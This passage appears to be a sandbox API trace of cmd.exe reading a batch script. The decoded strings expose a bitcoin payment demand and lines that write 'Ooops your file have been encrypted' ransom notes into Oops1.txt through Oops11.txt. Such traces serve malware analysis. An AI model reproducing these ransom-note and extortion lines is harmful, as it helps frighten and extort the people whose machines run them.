returned 0x74 [0038.530] GetFileType (hFile=0x74) returned 0x1 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0038.530] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=6423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0038.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=34, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ur183IenOeJVZX5OeBMewJn55Lo\r\nitcoin to this address:\r\n") returned 34 [0038.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0038.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.530] GetFileType (hFile=0x74) returned 0x1 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0038.530] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=6430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0038.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\n183IenOeJVZX5OeBMewJn55Lo\r\n") returned 7 [0038.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0038.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.531] GetFileType (hFile=0x74) returned 0x1 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0038.531] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=6434, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0038.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":a\r\ne\r\n") returned 4 [0038.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0038.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.531] GetFileType (hFile=0x74) returned 0x1 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0038.531] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=6501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0038.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n\n") returned 67 [0038.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0038.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.531] GetFileType (hFile=0x74) returned 0x1 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0038.531] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=6569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0038.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n") returned 68 [0038.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0038.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.532] GetFileType (hFile=0x74) returned 0x1 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0038.532] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=6637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0038.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0038.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0038.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.532] GetFileType (hFile=0x74) returned 0x1 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0038.532] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=6701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0038.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0038.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0038.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.532] GetFileType (hFile=0x74) returned 0x1 [0038.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0038.533] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=6764, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0038.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0038.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0038.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.533] GetFileType (hFile=0x74) returned 0x1 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0038.533] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=6826, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0038.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0038.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0038.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.533] GetFileType (hFile=0x74) returned 0x1 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0038.533] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=6883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0038.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0038.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0038.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.533] GetFileType (hFile=0x74) returned 0x1 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0038.534] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=6939, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0038.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0038.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0038.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.534] GetFileType (hFile=0x74) returned 0x1 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0038.534] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=6997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0038.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops1.txt\r\n##\r\n") returned 58 [0038.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0038.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.534] GetFileType (hFile=0x74) returned 0x1 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0038.534] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=7055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0038.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops2.txt\r\n") returned 58 [0038.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0038.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.535] GetFileType (hFile=0x74) returned 0x1 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0038.535] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=7113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0038.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops3.txt\r\n") returned 58 [0038.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0038.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.535] GetFileType (hFile=0x74) returned 0x1 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0038.535] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=7171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0038.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops4.txt\r\n") returned 58 [0038.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0038.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.535] GetFileType (hFile=0x74) returned 0x1 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0038.535] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=7229, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0038.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops5.txt\r\n") returned 58 [0038.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0038.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.536] GetFileType (hFile=0x74) returned 0x1 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0038.536] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=7287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0038.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops6.txt\r\n") returned 58 [0038.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0038.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.536] GetFileType (hFile=0x74) returned 0x1 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0038.536] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=7345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0038.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops7.txt\r\n") returned 58 [0038.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0038.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.536] GetFileType (hFile=0x74) returned 0x1 [0038.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0038.537] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=7403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0038.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops8.txt\r\n") returned 58 [0038.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0038.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.537] GetFileType (hFile=0x74) returned 0x1 [0038.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0038.537] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=7461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0038.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops9.txt\r\n") returned 58 [0038.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0038.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.537] GetFileType (hFile=0x74) returned 0x1 [0038.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0038.537] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=7520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0038.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops10.txt\r\n#\r\n") returned 59 [0038.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0038.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.538] GetFileType (hFile=0x74) returned 0x1 [0038.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0038.538] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=7579, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0038.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops11.txt\r\n") returned 59 [0038.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0038.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.539] GetFileType (hFile=0x74) returned 0x1 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0038.539] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=7638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0038.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have 